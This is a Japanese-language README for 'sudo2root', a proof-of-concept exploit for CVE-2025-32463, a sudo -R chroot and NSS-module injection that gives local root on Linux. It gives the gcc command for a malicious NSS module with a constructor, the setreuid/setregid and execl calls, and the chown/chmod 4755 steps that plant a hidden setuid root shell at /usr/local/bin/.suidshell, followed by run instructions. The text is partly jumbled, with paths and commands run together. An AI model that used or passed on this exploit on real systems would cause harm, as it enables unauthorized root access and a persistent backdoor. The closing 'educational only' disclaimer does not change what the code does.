
Sudo ローカル権限昇格 CVE-2025-32463 (新しいrootシェルを生成するためにシェルが安定していない場合に最適)
sudo -R NSSインジェクションによるローカル権限昇格このPoCは、カスタムNSSモジュールと組み合わせたsudo -Rオプションの悪用により、Linuxシステム上でのローカル権限昇格を実証します。これは、chroot環境下でのnsswitch.confおよびNSS共有ライブラリの安全でない取り扱いに起因する脆弱性CVE-2025-32463を標的としています。
このPoC、**sudo2root**は、constructor属性を利用して権限を昇格させ、/usr/local/bin/.suidshellにsetuidルートシェルを配置するカスタムNSSモジュールをコンパイルすることで、元の手法を適応させています。
sudoによる-R chrootフラグの不適切な入力検証と安全でない使用。sudoアクセスを持つローカル攻撃者がrootとして任意のコードを実行でき、コンテナおよびユーザー分離を破壊します。sudo -Rはルートディレクトリを変更しますが、権限を削除せず、環境をサニタイズしません。nsswitch.confとカスタムlibnss_*共有オブジェクトを含む偽のルートファイルシステムを作成します。sudoにロードさせます。__attribute__((constructor))経由)、setuidルートシェルを配置し、権限を昇格させます。sudo2root.c – 悪意のあるNSSモジュール:
setreuid(0,0)およびsetregid(0,0)でルート権限を取得gccでコンパイルBashエクスプロイトスクリプト:
etc/nsswitch.conflibnss_/sudo2root1337.so.2sudo -R sudo2root sudo2root
Setuidシェル:
/usr/local/bin/.suidshell/usr/local/bin/.suidshell id
chmod +x sudoinject.sh
./sudoinject.sh
エクスプロイト完了後、以下を実行:
/usr/local/bin/.suidshell
whoami # => root
sudoinject.sh # メインのエクスプロイトスクリプト
libnss_/sudo2root1337.so.2 # 悪意のあるNSSモジュール(コンパイル済み)
sudo2root/etc/nsswitch.conf # 偽のモジュールを指すカスタムnsswitch
/usr/local/bin/.suidshell # 最終的なsetuidルートシェル
sudo -Rの悪用:sudoの-R <dir>フラグは、コマンド実行前にルートディレクトリを変更します。passwd: /libnss_<name>.soを含むカスタムnsswitch.confがある場合、sudoは権限を削除する前にそれをロードします。共有オブジェクトは次のようにコンパイルされます:
gcc -shared -fPIC -Wl,-init,exploit_constructor -o libnss_/sudo2root1337.so.2 sudo2root.c
コンストラクタはmain()ロジックの前に実行されます。
suidシェルを作成し、コンパイル:
setreuid(0,0); setregid(0,0); execl("/bin/bash", "bash", NULL);
パーミッションを設定:
chown 0:0 .suidshell && chmod 4755 .suidshell

MikiVirusこのコードは教育目的のみで提供されています。自分が所有していない、または明示的なテスト許可を得ていないシステムでの不正使用は違法であり、非倫理的です。セキュリティテストを行う前に、必ず適切な許可を取得してください。